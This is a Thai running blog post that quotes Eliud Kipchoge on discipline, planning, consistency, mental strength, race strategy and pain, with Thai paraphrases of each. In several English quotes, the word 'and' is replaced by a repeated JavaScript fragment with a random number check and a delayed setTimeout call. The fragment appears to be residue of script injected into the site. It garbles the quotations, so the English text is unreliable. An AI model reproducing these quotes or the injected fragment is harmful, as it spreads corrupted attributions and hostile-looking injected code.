• เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result
Home Tips & Technics Running Tips

ผลึกความคิด…ปรัชญานักวิ่งชั้นนำโดย Eliud Kipchoge

kan by kan
12 February 2018
in Running Tips, Tips & Technics
0
ผลึกความคิด…ปรัชญานักวิ่งชั้นนำโดย Eliud Kipchoge
0
SHARES
0
VIEWS
Share on FacebookShare on Twitter

นักวิ่งมาราธอนชั้นแนวหน้าของโลก Eliud Kipchoge ผู้ชนะ World Major Marathon ทั้ง 7 สนามได้กล่าวถึงเทคนิคและความคิดอันเป็นหลักปรัชญาตนเองในการฝึกซ้อมวิ่งมาราธอน เมื่อครั้งมาเยี่ยม Oxford University เรามาดูกันว่าเทคนิคลับที่นักวิ่งชั้นแนวหน้าของโลก ในการวิ่งแข่งขันมาราธอนมีอะไรกันบ้าง

Canadian Running Magazine

On self-discipline: “Only the disciplined ones are free in life. If you are undisciplined, you are a slave to your moods. You are a slave to your passions.”

ระเบียบวินัยคือหัวใจ : ระเบียบวินัยคือสิ่งที่ทำให้เราอยู่เหนืออารมณ์และไม่กลายเป็นทาสความปราณนาตนเองได้ ที่สำคัญ มันคือสิ่งเดียวในโลกนี้ที่มีให้ฟรี

On preparation: “To win is not important. To be successful is not even important. How to plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prepare is crucial. When you plan very well andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and prepare very well, then success can come on the way. Then winning can come on your way.”

จงวางแผนและเตรียมตัวให้ดี : จะชนะหรือจะประสบความสำคัญก็ไม่ใช้เรื่องสำคัญ แต่การวางแผนเตรียมความพร้อมสิ สำคัญยิ่งกว่า เมื่อใดที่เราวางแผนดี เตรียมตัวดี ความสำเร็จและชัยชนะจะเดินเข้ามาหาเอง

On thinking positively: “Pleasure in what you are doing is what puts perfection in your work—that’s a quote by Aristotle.”

คิดบวกเป็นแรงผลักดัน : หากเราชอบในสิ่งที่เราทำ ความชื่นชอบจะเป็นตัวผลักดันให้เราทำสิ่งนั้นได้ดียิ่งๆ ขึ้นไป

On consistency: “I’m confident to say that if you want to grow in a profession, consistency is the key…I’m strict about my work goals andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training. When I miss one [workout session], it’s like missing a discussion with your classmates, where six people are discussing a subject. If I miss one training, then I will not sleep well.”

IAAF

มีความต่อเนื่อง : ความต่อเนื่องคือหัวใจสำคัญในการพัฒนาตนเองไปสู่ความเป็นมืออาชีพ ผมเข้มงวดกับการฝึกฝนตัวเองมาก หากวันไหนที่ขาดคลาสไป ก็เหมือนไม่ได้เจอเพื่อนร่วมชั้น เวลามีสมาชิก 6 คนถกปัญหากัน แต่คุณขาดคนเดียว มันตามเพื่อนไม่ทัน ไม่รู้ว่าเพื่อนเราคุยเรื่องอะไรกัน คุณจะนอนหลับไหมละ

On “mental fitness”:

“Mental fitness plays a big role during competition. If you don’t rule your mind, your mind will rule you. That’s the way I think about this sport.”

จิตใจนักสู้ เป็นนักวิ่งจิตใจต้องมั่นคง : สำหรับกีฬาประเภทนี้ จิตใจเป็นตัวแปรสำคัญในการแข่งขัน คุณต้องเอาชนะมันหรือไม่มันก็จะเอาชนะคุณ

On race strategy: “In the marathon, the first half is just a normal run. At 15 kilometers, 20 kilometers, everybody is still going to be there. Where the marathon starts is after 30 kilometers. That’s where you feel pain everywhere in your body. The muscles are really aching, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and only the most prepared andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and well-organized athlete is going to do well after that. I’ll go with the pace, but after 30 kilometers, I’ll change to my own pace. And if you’re ready to follow me, then we can go together.”

กลยุทธ์การแข่งขัน : สนามต่อสู้ที่แท้จริงของมาราธอนเริ่มที่ 30 กิโลเมตร ครึ่งแรกของการวิ่ง 15 และ 20 กิโลเมตรก็แค่การวิ่งธรรมดา แต่เมื่อเข้าสู่กิโลเมตรที่ 30 กล้ามเนื้อร่างกายทุกส่วนของคุณจะเริ่มแสดงอาการเจ็บปวด สำหรับคนที่เตรียมตัวมาพร้อม วางแผนมาดีเท่านั้นจะวิ่งได้ดีต่อไป สำหรับผม เมื่อผ่านเข้าสู่กิโลเมตรที่ 30 ผมจะเปลี่ยนไปวิ่งตามเพซของตัวเอง ถ้าคุณยังไหว ผมก็ยินดีที่จะวิ่งไปด้วยกัน

sundiatapost.com

On adaptability: “Become comfortable with being uncomfortable. Accept change.”

การปรับตัว : พร้อมรับทุกสถานการณ์แม้ว่าจะอยู่ในสถานการณ์ที่ไม่สบาย ไม่สะดวก ยอมรับมันซะและปรับตัวเข้าหามัน

On believing in yourself: “I believe in what I am doing. To run a big marathon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and win takes five months. When I’m on the starting line, my mind starts reviewing what I have been doing the last five months. I believe in my training, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I treat myself as the best one standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding on that line.”

จงเชื่อมั่นในตัวเอง : จงเชื่อมั่นในสิ่งที่เราทำ การแข่งขันรายการมาราธอนใหญ่ๆ ครั้งหนึ่งต้องใช้เวลาเตรียมตัวถึง 5 เดือน เมื่อยืนอยู่ ณ เส้นสตาร์ท ผมจะคิดถึงช่วงเวลาที่ฝึกซ้อมตลอด 5 เดือนที่ผ่านมา จงเชื่อในแผนการฝึกซ้อมของเรา ดูแลตัวเองให้ดีให้พร้อมที่สุดเมื่อต้องยืน ณ เส้นสตาร์ท

On managing pain during a marathon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how even the best marathoner in the world has a tough time the next day: “When I have a lot of pain, I try to confuse my mind to forget about the pain andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and think about the distance. I don’t want pain to be in my mind, because I’d really lose focus on running. After winning, you won’t have that pain, but it comes later. The marathon is hard; the second day, you don’t go up or down stairs.”

การจัดการอาการเจ็บระหว่างแข่งขันและอาการปวดหลังวันแข่ง : ระหว่างที่ผมมีอาการปวดเจ็บ ผมจะใช้วิธีเบี่ยงเบนความสนใจไปให้กับสิ่งอื่นแทน อย่างเช่นการคิดถึงระยะทาง ผมไม่อยากคิดถึงอาการปวดเจ็บในสมองระหว่างแข่งขัน เพราะจะทำให้เสียสมาธิ เมื่อจบการแข่งขันคุณยังไม่มีอาการปวด แต่มันจะมาพรุ่งนี้ สำหรับการจัดการตัวเองหลังวันแข่งขันนั้น ไม่ควรเดินขึ้นลงบันไดครับ

อ้างอิง : www.outsideonline.com

ShareTweetShare
kan

kan

Related Posts

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36
News

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
Load More
  • 12.1k Fan
  • 22 Follower
  • 30 Follower

บทความยอดนิยมใน 7 วันนี้

  • วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    วิตามินและเกลือเเร่ที่สำคัญสำหรับนักปั่นจักรยาน

    0 shares
    Share 0 Tweet 0
  • รู้หรือไม่…ต้นทุนรองเท้าราคาเท่าไหร่และประกอบด้วยค่าอะไรบ้าง

    0 shares
    Share 0 Tweet 0
  • วิ่งให้เร็วขึ้นด้วยการฝึกสปริ้นท์ 30 วินาที

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0
  • 13 กลวิธี ขี่จักรยานให้ได้ความเร็วเพิ่มขึ้น!

    0 shares
    Share 0 Tweet 0
StepExtra

STEP EXTRA

Run more, Spin More

เป็นเว็บไซต์ที่รวบรวมและแบ่งปันเรื่องราวดีๆ เกี่ยวกับสุขภาพและกีฬา ไม่ว่าจะเป็น ข่าวสาร, เรื่องน่ารู้, งานวิ่งแข่งและปั่นจักรยานที่น่าสนใจ พร้อมเกร็ดความรู้ดีๆ ที่ช่วยให้คุณสนุกกับการออกกำลังกาย และฟิตร่างกายได้ดียิ่งขึ้น มาเปลี่ยนตัวเองให้เป็นคนใหม่ที่สดใสยิ่งกว่าเดิมด้วยการออกกำลังกายไปด้วยกันกับเรา

  • เกี่ยวกับเรา
  • ติดต่อลงโฆษณา

บทความล่าสุด

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

บมจ. เอ็ม วิชั่น ร่วมจัดงาน สสส.จอมบึงมาราธอน 2566 ครั้งที่ 36

9 December 2022
เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020

Browse by Category

  • Event
    • Cycling Event
    • Running Event
    • Triathlon Event
  • Feature
  • Interview
  • News
    • Cycling News
    • Gadget News
    • Gear News
    • Healthy News
    • PR
    • Running News
    • Shoes
  • Place & Route
    • Cycling
    • Running
  • Reviews
    • Gadget Review
    • Shoes Review
    • Sport Gear
  • Tips & Technics
    • Cycling Tips
    • Gadget Tips
    • Healthy Tips
    • Running Tips
    • Training
  • Travel

Partner

  • Whatphone.net ข่าวมือถือ สมาร์ทโฟน Gadget Games Applications และเทคโนโลยีนำสมัย ทุกแบรนด์ทั่วโลก

© 2014STEP EXTRA

  • ข่าวสาร
  • บทวิจารณ์
  • เกร็ดความรู้
  • สถานที่-เส้นทาง
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2023 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.